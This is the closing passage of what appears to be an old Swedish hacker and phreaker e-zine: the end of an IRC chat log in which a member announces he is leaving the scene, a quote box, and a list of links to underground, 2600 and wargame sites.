   dom gr, det r bara mina kompisar, jag r en white hat
  <pewp> jag var inte ns dr
  <pewp> men jag har varit med i s mycket annat s det frvnar inte 
   mig...
  <Gotrex> var du inte ens dr? strange .. (jag var inte dr hellerbtw)
  <pewp> DU kan juh hlsa att att oldskool pewp har frsvunnit pga 
   denna trams grejjen. 
  <Gotrex> publicerar den hr loggen.. de som lser den fr veta..
  <pewp> ok lugnt, jag drar nu
  <pewp> hejd ha ett bra liv
  <pewp> vi kanske syns ngn gng...
  <Gotrex> tack det samma  [hej d? :P]
  
  *[ kommentarer vid redigering ]


  //////////////////////////////////////////////////////////////////
  \                                                                /
  /             "Det finns inga problem, bara lsningar."          \ 
  \             - diox @#phreakerz :P                              /
  /                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


  //////////////////////////////////////////////////////////////////
  |                         Lnkar                          Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
   

   http://www.rttcrew.com/                Reclaim The Telephones
   http.//www.wallarea.com/               Svenska underground nyheter
   http://www.2600se.com                  Svenska 2600
   http://www.insecurefoundation.cjb.net  Svensk H/P
   http://www.teliasuger.com              Streetwhore
   http://www.2600hz.net/                 Heretics Inc             
   http://www.avlyssning.nu/
   http://www.splitsecond.nu/
   members.xoom.com/_XMCM/msadf/zines/    GSS zines sektion
   
   http://user.tninet.se/~dcy752g/        Artikel om 2600 mtet

   http://scene.textfiles.com/            Internationella Ezines
   http://www.2600.com                    En klassiker            
   http://forbidden.net-security.org/
   http://www.hack.co.za/
   http://www.pots.gr

   http://207.253.202.66                  NTWAk0s wargame (NT)
   http://213.112.7.132                   Dumones wargame (Unix)
   http://www.hackerslab.org
   http://www.hacksdmi.org/

   http://www.fastpris.cjb.net            Protestera mot spray
   http://hem.fyristorg.com/ecco/         Kul!

                          ___,,,^..^,,,___
  //////////////////////////////////////////////////////////////////
  \                                                                \
  /             Nu finns vi p:                                    / 
  \             http://www.GothenburgSecretService.net             \
  \             (http://members.xoom.com/_XMCM/msadf/)             /
  /                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\THE\END\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

